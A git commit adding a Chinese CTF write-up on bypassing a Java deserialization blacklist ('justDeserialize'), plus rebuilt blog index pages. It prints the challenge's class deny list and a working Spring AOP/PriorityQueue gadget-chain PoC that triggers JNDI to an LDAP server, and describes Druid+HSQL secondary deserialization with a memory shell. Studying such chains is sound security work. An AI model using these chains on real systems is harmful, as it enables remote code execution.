Skip to content

Commit e5e6b05

Browse files
author
gsbp
committed
update
1 parent f712b6d commit e5e6b05

File tree

18 files changed

+1051
-29
lines changed

18 files changed

+1051
-29
lines changed

.DS_Store

0 Bytes
Binary file not shown.

content/.DS_Store

0 Bytes
Binary file not shown.

content/post/.DS_Store

0 Bytes
Binary file not shown.
Lines changed: 283 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,283 @@
1+
+++
2+
date = '2025-03-24T22:00:00+08:00'
3+
draft = false
4+
title = '软件攻防赛现场赛上对justDeserialize攻击的几次尝试'
5+
author='GSBP'
6+
categories=["Java安全","WP"]
7+
+++
8+
9+
## 前言
10+
11+
一个关于本地打通无数次但远程0次的故事
12+
13+
## 题目分析
14+
15+
题目直接给了一个反序列化的入口点
16+
17+
![image-20250324233735530](https://tuchuang-1322176132.cos.ap-chengdu.myqcloud.com//imgimage-20250324233735530.png)
18+
19+
其中有两层防御
20+
21+
- 对我们的反序列化数据流中的明文进行简单判断过滤
22+
- 使用了一个自定义反序列化类来对我们的反序列化数据流进行反序列化
23+
24+
其中自定义化反序列化类代码如下
25+
26+
```
27+
//
28+
// Source code recreated from a .class file by IntelliJ IDEA
29+
// (powered by FernFlower decompiler)
30+
//
31+
32+
package com.example.ezjav.utils;
33+
34+
import java.io.BufferedReader;
35+
import java.io.ByteArrayInputStream;
36+
import java.io.IOException;
37+
import java.io.InputStream;
38+
import java.io.InputStreamReader;
39+
import java.io.InvalidClassException;
40+
import java.io.ObjectInputStream;
41+
import java.io.ObjectStreamClass;
42+
import java.util.ArrayList;
43+
44+
public class MyObjectInputStream extends ObjectInputStream {
45+
private String[] denyClasses;
46+
47+
public MyObjectInputStream(ByteArrayInputStream var1) throws IOException {
48+
super(var1);
49+
ArrayList<String> classList = new ArrayList();
50+
InputStream file = MyObjectInputStream.class.getResourceAsStream("/blacklist.txt");
51+
BufferedReader var2 = new BufferedReader(new InputStreamReader(file));
52+
53+
String var4;
54+
while((var4 = var2.readLine()) != null) {
55+
classList.add(var4.trim());
56+
}
57+
58+
this.denyClasses = new String[classList.size()];
59+
classList.toArray(this.denyClasses);
60+
}
61+
62+
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
63+
String className = desc.getName();
64+
int var5 = this.denyClasses.length;
65+
66+
for(int var6 = 0; var6 < var5; ++var6) {
67+
String denyClass = this.denyClasses[var6];
68+
if (className.startsWith(denyClass)) {
69+
throw new InvalidClassException("Unauthorized deserialization attempt", className);
70+
}
71+
}
72+
73+
return super.resolveClass(desc);
74+
}
75+
}
76+
```
77+
78+
**blacklist**中读取baned类,且在`resolveClass`中进行过滤
79+
80+
blacklist.txt
81+
82+
```
83+
javax.management.BadAttributeValueExpException
84+
com.sun.org.apache.xpath.internal.objects.XString
85+
java.rmi.MarshalledObject
86+
java.rmi.activation.ActivationID
87+
javax.swing.event.EventListenerList
88+
java.rmi.server.RemoteObject
89+
javax.swing.AbstractAction
90+
javax.swing.text.DefaultFormatter
91+
java.beans.EventHandler
92+
java.net.Inet4Address
93+
java.net.Inet6Address
94+
java.net.InetAddress
95+
java.net.InetSocketAddress
96+
java.net.Socket
97+
java.net.URL
98+
java.net.URLStreamHandler
99+
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
100+
java.rmi.registry.Registry
101+
java.rmi.RemoteObjectInvocationHandler
102+
java.rmi.server.ObjID
103+
java.lang.System
104+
javax.management.remote.JMXServiceUR
105+
javax.management.remote.rmi.RMIConnector
106+
java.rmi.server.RemoteObject
107+
java.rmi.server.RemoteRef
108+
javax.swing.UIDefaults$TextAndMnemonicHashMap
109+
java.rmi.server.UnicastRemoteObject
110+
java.util.Base64
111+
java.util.Comparator
112+
java.util.HashMap
113+
java.util.logging.FileHandler
114+
java.security.SignedObject
115+
javax.swing.UIDefaults
116+
```
117+
118+
## 解决思考
119+
120+
### 第一步
121+
122+
对于第一层防御,我们可以很简单的绕过,对此我有以下两种绕过方式
123+
124+
- UTF8OverlongEncoding
125+
- 不使用存在这些字符串的类(com.sun,naming,jdk.jfr)
126+
127+
这个很简单,就不多说了
128+
129+
第二层的resolveClass,我们只能选择不使用blacklist上面的类来达到攻击目的,经过我的排查,我手里刚好就有这么一段链子任何关键类都不在blacklist中,那就是springaop链
130+
131+
简单小引-> https://gsbp0.github.io/post/springaop/
132+
133+
134+
135+
在我上面的文章中,我最后是用的toString来触发aop动态代理的invoke方法,不过我在文章提到过,只要不是`equals,hashcode`这俩方法触发invoke,其他都是可以走完整条反序列化链
136+
137+
我在比赛过程中由题目中存在的User类的`compare`方法受到启发,选择了CC2和CB中都用到的`PriorityQueue`那一段来触发compare
138+
139+
下面是cb的部分poc
140+
141+
```
142+
BeanComparator CB=new BeanComparator();
143+
CB.setProperty("outputProperties");
144+
PriorityQueue PQ=new PriorityQueue(1);
145+
PQ.add(1);
146+
PQ.add(2);
147+
148+
reflectSet(PQ,"comparator",CB);
149+
reflectSet(PQ,"queue",new Object[]{TPI,TPI});
150+
```
151+
152+
153+
154+
ok,那直接拼到aop链的后面看看情况
155+
156+
结果触发了报错
157+
158+
```
159+
Exception in thread "main" java.lang.IllegalArgumentException: Can not set final java.util.Comparator field java.util.PriorityQueue.comparator to com.sun.proxy.$Proxy3
160+
at sun.reflect.UnsafeFieldAccessorImpl.throwSetIllegalArgumentException(UnsafeFieldAccessorImpl.java:167)
161+
at sun.reflect.UnsafeFieldAccessorImpl.throwSetIllegalArgumentException(UnsafeFieldAccessorImpl.java:171)
162+
at sun.reflect.UnsafeQualifiedObjectFieldAccessorImpl.set(UnsafeQualifiedObjectFieldAccessorImpl.java:83)
163+
at java.lang.reflect.Field.set(Field.java:764)
164+
at Utils.Util.setFieldValue(Util.java:38)
165+
at Test.main(Test.java:30)
166+
```
167+
168+
因为我们的proxy类没有实现`comparator`接口,那这里我们可以通过在外面**再次**包一层代理,且代理comparator接口即可
169+
170+
至于触发类,我们可以选择`LdapAttribute`这么一个jndi注入类,也可以选择`JdbcRowSetImpl`,不过需要utf8overlong麻烦一点
171+
172+
#### POC
173+
174+
```
175+
import Utils.Util;
176+
import com.sun.rowset.JdbcRowSetImpl;
177+
import org.aopalliance.aop.Advice;
178+
import org.aopalliance.intercept.MethodInterceptor;
179+
import org.springframework.aop.aspectj.AbstractAspectJAdvice;
180+
import org.springframework.aop.aspectj.AspectJAroundAdvice;
181+
import org.springframework.aop.aspectj.AspectJExpressionPointcut;
182+
import org.springframework.aop.aspectj.SingletonAspectInstanceFactory;
183+
import org.springframework.aop.framework.AdvisedSupport;
184+
import org.springframework.aop.support.DefaultIntroductionAdvisor;
185+
186+
import java.lang.reflect.*;
187+
import java.util.*;
188+
189+
public class Test {
190+
public static void main(String[] args) throws Exception {
191+
192+
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
193+
jdbcRowSet.setDataSourceName("ldap://127.0.0.1:50389/3fa0f4");
194+
Method method=jdbcRowSet.getClass().getMethod("getDatabaseMetaData");
195+
System.out.println(method);
196+
SingletonAspectInstanceFactory factory = new SingletonAspectInstanceFactory(jdbcRowSet);
197+
AspectJAroundAdvice advice = new AspectJAroundAdvice(method,new AspectJExpressionPointcut(),factory);
198+
Proxy proxy1 = (Proxy) getAProxy(advice,Advice.class);
199+
Proxy finalproxy=(Proxy) getBProxy(proxy1,new Class[]{Comparator.class});
200+
PriorityQueue PQ=new PriorityQueue(1);
201+
PQ.add(1);
202+
PQ.add(2);
203+
204+
Util.setFieldValue(PQ,"comparator",finalproxy);
205+
Util.setFieldValue(PQ,"queue",new Object[]{proxy1,proxy1});
206+
System.out.println(Util.serialize(PQ));
207+
Util.deserialize(Util.serialize(PQ));
208+
209+
210+
}
211+
public static Object getBProxy(Object obj,Class[] clazzs) throws Exception
212+
{
213+
AdvisedSupport advisedSupport = new AdvisedSupport();
214+
advisedSupport.setTarget(obj);
215+
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
216+
constructor.setAccessible(true);
217+
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
218+
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), clazzs, handler);
219+
return proxy;
220+
}
221+
public static Object getAProxy(Object obj,Class<?> clazz) throws Exception
222+
{
223+
AdvisedSupport advisedSupport = new AdvisedSupport();
224+
advisedSupport.setTarget(obj);
225+
AbstractAspectJAdvice advice = (AbstractAspectJAdvice) obj;
226+
227+
DefaultIntroductionAdvisor advisor = new DefaultIntroductionAdvisor((Advice) getBProxy(advice, new Class[]{MethodInterceptor.class, Advice.class}));
228+
advisedSupport.addAdvisor(advisor);
229+
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
230+
constructor.setAccessible(true);
231+
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
232+
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{clazz}, handler);
233+
return proxy;
234+
}
235+
236+
}
237+
```
238+
239+
### 第二步
240+
241+
#### 第一种方法-Ldap_SERIALIZE_DATA
242+
243+
家喻户晓的办法,因为题目jar包上的编译版本是11,还没有受到强制类隔离的要求,可以随便打`Jackson`那一套反序列化,或者是再走一边我们的AOP链但触发类换成可RCE的`Template`
244+
245+
这里我用的JNDIMap
246+
247+
![image-20250325000952223](https://tuchuang-1322176132.cos.ap-chengdu.myqcloud.com//imgimage-20250325000952223.png)
248+
249+
![image-20250325000938383](https://tuchuang-1322176132.cos.ap-chengdu.myqcloud.com//imgimage-20250325000938383.png)
250+
251+
ok本地成功RCE
252+
253+
但是放到远程直接失败GG,我开始思考我的问题
254+
255+
`ok可能是环境里设置了com.sun.jndi.ldap.object.trustSerialData为false,合理合理`
256+
257+
开始第二种方法
258+
259+
#### 第二种方法-hsql二次反序列化
260+
261+
Ok,我们这里直接看题目的依赖
262+
263+
![image-20250325001446186](https://tuchuang-1322176132.cos.ap-chengdu.myqcloud.com//imgimage-20250325001446186.png)
264+
265+
`druid+hsql`,再加上题目名`justDeserialize`,指向性很明显了,我们打jndi_Reference触发`DruidDataSourceFactory`的getObjectInstance方法来打hsql-JDBC,触发hsql里的SerializationUtils二次反序列化实现RCE
266+
267+
这里我使用了[java-chains](https://github.com/vulhub/java-chains)
268+
269+
![image-20250325002100164](https://tuchuang-1322176132.cos.ap-chengdu.myqcloud.com//imgimage-20250325002100164.png)
270+
271+
二次反序列化数据塞的我自己生成的AOP+springEcho内存马链子,这里也可以用这个工具自带的反序列化生成工具生成,也挺好用的
272+
273+
然后再打!
274+
275+
![image-20250325002221727](https://tuchuang-1322176132.cos.ap-chengdu.myqcloud.com//imgimage-20250325002221727.png)
276+
277+
ok本地又通了,打远程!
278+
279+
那么问题再次来袭,我抱着满怀期待再去打远程的时候,又没通,直接道心崩溃了,后续不知道怎么打了,并且也没有题目环境,不知道啥问题qaq
280+
281+
## 结尾
282+
283+
不是很清楚这远程的环境,比赛的时候破大防,如果有师傅在比赛的时候打通了这道题希望能告诉我一下咋打的QAQ

public/categories/index.html

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -156,7 +156,7 @@ <h1>Categories</h1>
156156
<a class="title is-5 is-size-6-mobile" href="http://localhost:1313/categories/java%E5%AE%89%E5%85%A8/">Java安全</a>
157157

158158
<strong>
159-
<sup style="font-size:16px;">3</sup>
159+
<sup style="font-size:16px;">4</sup>
160160
</strong>
161161
</div>
162162
</div>
@@ -172,7 +172,7 @@ <h1>Categories</h1>
172172
<a class="title is-5 is-size-6-mobile" href="http://localhost:1313/categories/wp/">WP</a>
173173

174174
<strong>
175-
<sup style="font-size:16px;">3</sup>
175+
<sup style="font-size:16px;">4</sup>
176176
</strong>
177177
</div>
178178
</div>

public/categories/index.xml

Lines changed: 10 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -6,28 +6,28 @@
66
<description>Recent content in Categories on GSBP&#39;s Blog</description>
77
<generator>Hugo</generator>
88
<language>en-us</language>
9-
<lastBuildDate>Wed, 12 Mar 2025 18:00:00 +0800</lastBuildDate>
9+
<lastBuildDate>Mon, 24 Mar 2025 22:00:00 +0800</lastBuildDate>
1010
<atom:link href="http://localhost:1313/categories/index.xml" rel="self" type="application/rss+xml" />
11-
<item>
12-
<title>CVE</title>
13-
<link>http://localhost:1313/categories/cve/</link>
14-
<pubDate>Wed, 12 Mar 2025 18:00:00 +0800</pubDate>
15-
<guid>http://localhost:1313/categories/cve/</guid>
16-
<description></description>
17-
</item>
1811
<item>
1912
<title>Java安全</title>
2013
<link>http://localhost:1313/categories/java%E5%AE%89%E5%85%A8/</link>
21-
<pubDate>Wed, 12 Mar 2025 18:00:00 +0800</pubDate>
14+
<pubDate>Mon, 24 Mar 2025 22:00:00 +0800</pubDate>
2215
<guid>http://localhost:1313/categories/java%E5%AE%89%E5%85%A8/</guid>
2316
<description></description>
2417
</item>
2518
<item>
2619
<title>WP</title>
2720
<link>http://localhost:1313/categories/wp/</link>
28-
<pubDate>Tue, 11 Feb 2025 23:00:00 +0800</pubDate>
21+
<pubDate>Mon, 24 Mar 2025 22:00:00 +0800</pubDate>
2922
<guid>http://localhost:1313/categories/wp/</guid>
3023
<description></description>
3124
</item>
25+
<item>
26+
<title>CVE</title>
27+
<link>http://localhost:1313/categories/cve/</link>
28+
<pubDate>Wed, 12 Mar 2025 18:00:00 +0800</pubDate>
29+
<guid>http://localhost:1313/categories/cve/</guid>
30+
<description></description>
31+
</item>
3232
</channel>
3333
</rss>

public/categories/java安全/index.html

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -145,6 +145,16 @@ <h2 class="archive-title">Category: Java安全</h2>
145145

146146

147147

148+
<article class="archive-item">
149+
<a href="http://localhost:1313/post/%E8%BD%AF%E4%BB%B6%E6%94%BB%E9%98%B2%E8%B5%9B%E7%8E%B0%E5%9C%BA%E8%B5%9B%E4%B8%8A%E5%AF%B9justdeserialize%E6%94%BB%E5%87%BB%E7%9A%84%E5%87%A0%E6%AC%A1%E5%B0%9D%E8%AF%95/" class="archive-item-link hover-underline-animation">软件攻防赛现场赛上对justDeserialize攻击的几次尝试</a>
150+
<span class="archive-item-date">
151+
March 24, 2025
152+
</span>
153+
154+
</article>
155+
156+
157+
148158
<article class="archive-item">
149159
<a href="http://localhost:1313/post/tomcatcve-2025-24813%E5%A4%8D%E7%8E%B0%E5%8F%8A%E5%8E%9F%E7%90%86%E5%88%86%E6%9E%90/" class="archive-item-link hover-underline-animation">[Tomcat]CVE-2025-24813复现及原理分析</a>
150160
<span class="archive-item-date">

public/categories/java安全/index.xml

Lines changed: 8 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -6,8 +6,15 @@
66
<description>Recent content in Java安全 on GSBP&#39;s Blog</description>
77
<generator>Hugo</generator>
88
<language>en-us</language>
9-
<lastBuildDate>Wed, 12 Mar 2025 18:00:00 +0800</lastBuildDate>
9+
<lastBuildDate>Mon, 24 Mar 2025 22:00:00 +0800</lastBuildDate>
1010
<atom:link href="http://localhost:1313/categories/java%E5%AE%89%E5%85%A8/index.xml" rel="self" type="application/rss+xml" />
11+
<item>
12+
<title>软件攻防赛现场赛上对justDeserialize攻击的几次尝试</title>
13+
<link>http://localhost:1313/post/%E8%BD%AF%E4%BB%B6%E6%94%BB%E9%98%B2%E8%B5%9B%E7%8E%B0%E5%9C%BA%E8%B5%9B%E4%B8%8A%E5%AF%B9justdeserialize%E6%94%BB%E5%87%BB%E7%9A%84%E5%87%A0%E6%AC%A1%E5%B0%9D%E8%AF%95/</link>
14+
<pubDate>Mon, 24 Mar 2025 22:00:00 +0800</pubDate>
15+
<guid>http://localhost:1313/post/%E8%BD%AF%E4%BB%B6%E6%94%BB%E9%98%B2%E8%B5%9B%E7%8E%B0%E5%9C%BA%E8%B5%9B%E4%B8%8A%E5%AF%B9justdeserialize%E6%94%BB%E5%87%BB%E7%9A%84%E5%87%A0%E6%AC%A1%E5%B0%9D%E8%AF%95/</guid>
16+
<description>&lt;h2 id=&#34;前言&#34;&gt;前言&lt;/h2&gt;&#xA;&lt;p&gt;一个关于本地打通无数次但远程0次的故事&lt;/p&gt;&#xA;&lt;h2 id=&#34;题目分析&#34;&gt;题目分析&lt;/h2&gt;&#xA;&lt;p&gt;题目直接给了一个反序列化的入口点&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&lt;div class=&#34;post-img-view&#34;&gt;&#xA;&lt;a data-fancybox=&#34;gallery&#34; href=&#34;https://tuchuang-1322176132.cos.ap-chengdu.myqcloud.com//imgimage-20250324233735530.png&#34;&gt;&#xA;&lt;img src=&#34;https://tuchuang-1322176132.cos.ap-chengdu.myqcloud.com//imgimage-20250324233735530.png&#34; alt=&#34;image-20250324233735530&#34; /&gt;&#xA;&lt;/a&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;其中有两层防御&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;对我们的反序列化数据流中的明文进行简单判断过滤&lt;/li&gt;&#xA;&lt;li&gt;使用了一个自定义反序列化类来对我们的反序列化数据流进行反序列化&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;其中自定义化反序列化类代码如下&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;//&#xA;// Source code recreated from a .class file by IntelliJ IDEA&#xA;// (powered by FernFlower decompiler)&#xA;//&#xA;&#xA;package com.example.ezjav.utils;&#xA;&#xA;import java.io.BufferedReader;&#xA;import java.io.ByteArrayInputStream;&#xA;import java.io.IOException;&#xA;import java.io.InputStream;&#xA;import java.io.InputStreamReader;&#xA;import java.io.InvalidClassException;&#xA;import java.io.ObjectInputStream;&#xA;import java.io.ObjectStreamClass;&#xA;import java.util.ArrayList;&#xA;&#xA;public class MyObjectInputStream extends ObjectInputStream {&#xA; private String[] denyClasses;&#xA;&#xA; public MyObjectInputStream(ByteArrayInputStream var1) throws IOException {&#xA; super(var1);&#xA; ArrayList&amp;lt;String&amp;gt; classList = new ArrayList();&#xA; InputStream file = MyObjectInputStream.class.getResourceAsStream(&amp;#34;/blacklist.txt&amp;#34;);&#xA; BufferedReader var2 = new BufferedReader(new InputStreamReader(file));&#xA;&#xA; String var4;&#xA; while((var4 = var2.readLine()) != null) {&#xA; classList.add(var4.trim());&#xA; }&#xA;&#xA; this.denyClasses = new String[classList.size()];&#xA; classList.toArray(this.denyClasses);&#xA; }&#xA;&#xA; protected Class&amp;lt;?&amp;gt; resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {&#xA; String className = desc.getName();&#xA; int var5 = this.denyClasses.length;&#xA;&#xA; for(int var6 = 0; var6 &amp;lt; var5; ++var6) {&#xA; String denyClass = this.denyClasses[var6];&#xA; if (className.startsWith(denyClass)) {&#xA; throw new InvalidClassException(&amp;#34;Unauthorized deserialization attempt&amp;#34;, className);&#xA; }&#xA; }&#xA;&#xA; return super.resolveClass(desc);&#xA; }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;从&lt;strong&gt;blacklist&lt;/strong&gt;中读取baned类,且在&lt;code&gt;resolveClass&lt;/code&gt;中进行过滤&lt;/p&gt;</description>
17+
</item>
1118
<item>
1219
<title>[Tomcat]CVE-2025-24813复现及原理分析</title>
1320
<link>http://localhost:1313/post/tomcatcve-2025-24813%E5%A4%8D%E7%8E%B0%E5%8F%8A%E5%8E%9F%E7%90%86%E5%88%86%E6%9E%90/</link>

public/categories/wp/index.html

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -145,6 +145,16 @@ <h2 class="archive-title">Category: WP</h2>
145145

146146

147147

148+
<article class="archive-item">
149+
<a href="http://localhost:1313/post/%E8%BD%AF%E4%BB%B6%E6%94%BB%E9%98%B2%E8%B5%9B%E7%8E%B0%E5%9C%BA%E8%B5%9B%E4%B8%8A%E5%AF%B9justdeserialize%E6%94%BB%E5%87%BB%E7%9A%84%E5%87%A0%E6%AC%A1%E5%B0%9D%E8%AF%95/" class="archive-item-link hover-underline-animation">软件攻防赛现场赛上对justDeserialize攻击的几次尝试</a>
150+
<span class="archive-item-date">
151+
March 24, 2025
152+
</span>
153+
154+
</article>
155+
156+
157+
148158
<article class="archive-item">
149159
<a href="http://localhost:1313/post/2025n1junior-wp/" class="archive-item-link hover-underline-animation">[2025]N1junior-WP</a>
150160
<span class="archive-item-date">

0 commit comments

Comments
 (0)